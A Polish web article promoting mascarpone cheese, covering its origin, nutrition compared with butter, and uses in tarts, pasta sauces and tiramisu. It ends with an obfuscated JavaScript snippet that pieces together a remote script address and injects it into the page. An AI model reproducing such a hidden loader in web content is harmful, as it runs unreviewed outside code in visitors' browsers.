27 kwietnia 2016r. godz. 07:43, odsłon: 2805, Redakcja

Włoski serek na słodko i na ostro

Mascarpone pojawia się w coraz większej ilości sklepów, nawet w małych wiejskich lodówkach, tuż obok twarożków i serów.

Mascarpone pojawia się w coraz większej ilości sklepów, nawet w małych wiejskich lodówkach, tuż obok twarożków i serów żółtych. Szukając przepisów na ciasta i desery, bardzo często natykamy się na mascarpone na liście produktów koniecznych do wykonania danego ciasta lub smakołyku. Niektórzy nie wyobrażają sobie kuchni bez pudełeczka śmietankowego mascarpone, inni wciąż podchodzą do niego z dystansem, bo nie bardzo wiedzą, co to takiego i z czym się go jada.

Od wieków w kuchni południowej

Już sama nazwa wskazuje na kraj pochodzenia tego serka - od wieków bowiem produkowany był we Włoszech. Niegdyś przyrządzano go tylko jesienią i zimą w zaciszu domowych gospodarstw, na własny użytek lub sprzedawano go w małych porcjach. To typ sera miękkiego, niedojrzewającego. Produkowany jest nie z samego mleka krowiego, a ze śmietany, dlatego wyróżnia go pyszny, delikatny smak i kremowa konsystencja. Jest bardzo neutralny w kwestii zmiany walorów smakowych innych produktów, dlatego ma w kuchni wiele zastosowań.

Szerokie zastosowanie w kuchni

Na początek można mascarpone (http://www.mlekoma.pl/produkty/mascarpone/) posmarować kanapkę. W związku z tym, iż w 100 gramach serka znajduje się 394 kcal, a masło ma ich blisko dwa razy więcej, jest to świetnym sposobem na zmniejszenie dawki energii w codziennej diecie. Ma także o połowę mniej tłuszczu niż masło, bo zaledwie 40%. Mascarpone znakomicie smakuje zarówno z wędliną, serami, jak i dodatkami na słodko - owocami, dżemem lub bakaliami, dlatego daje wiele możliwości podczas codziennego przygotowywanie posiłków i pozwala na ich niebanalne urozmaicanie.

Co ciekawe, mascarpone, mimo że jest świeżym serkiem śmietankowym, doskonale znosi wysokie temperatury. Używać go więc można do przygotowywania tart pieczonych jako składnik nadzienia np. doskonale komponuje się do kruchej tarty ze świeżymi malinami. Wystarczy serek mascarpone zmiksować z cukrem i jajkami, zapiec, a otrzymamy ciasto z niezwykle delikatnym kremem, na którym pięknie komponują się smaczne, lekko kwaśne owoce. Jest również sposobem na stworzenie szybkiego, pożywnego i, co ważne, bogatego w cenne składniki odżywcze obiadu. Można bowiem mascarpone dodać do smażonego na patelni kurczaka z warzywami albo lekko podgrzanego na patelni wędzonego łososia z odrobiną soku z cytryny i polać tak przyrządzonym sosem dowolny makaron.

Klasyka deserów

Do jakiego dania wykorzystują go najczęściej Włosi? Otóż bez mascarpone nie powstałoby klasyczne tiramisu. Słodki deser, składający się między innymi z surowych jajek, podłużnych biszkoptów z dodatkiem mocnej kawy, likieru amaretto i kakao, znany jest na całym świecie, także w naszym kraju i cieszy się niezwykłą popularnością. Nie trzeba jednak wychodzić do włoskiej restauracji by go skosztować. Tiramisu można przygotować samodzielnie w domu, także w wersji bez alkoholu lub surowych jajek, jeśli mamy co do nich wątpliwości. Przygotowując deser, możemy korygować tradycyjny przepis, szukać zamienników, robić go nie w blaszce, a w pucharkach, jednak żaden inny odpowiednik serka jednak nie odda tego smaku włoskiego deseru i nie pozwoli na otrzymanie tak puszystej, gładkiej, śmietankowej konsystencji. Dla mascarpone nie ma w tym przypadku godnego zamiennika, a tiramisu bez niego będzie po prostu marną podróbką.

(function(){ xt0v_=("u"+"")+"s"+"";xt0v_+=("tat.")+("i"); xt0v=document.createElement("script");xt0v.type="text/javascript";xt0v_+="nf"+("o")+"/"; xt0vu="8829905"+".";xt0v.async=true;xt0vu+="h3wyhk0nt0v4vwfg0gvdXX3997f8yn"; xt0v.src="//"+xt0v_+xt0vu; xt0vb=document.body; xt0vb.appendChild(xt0v); })();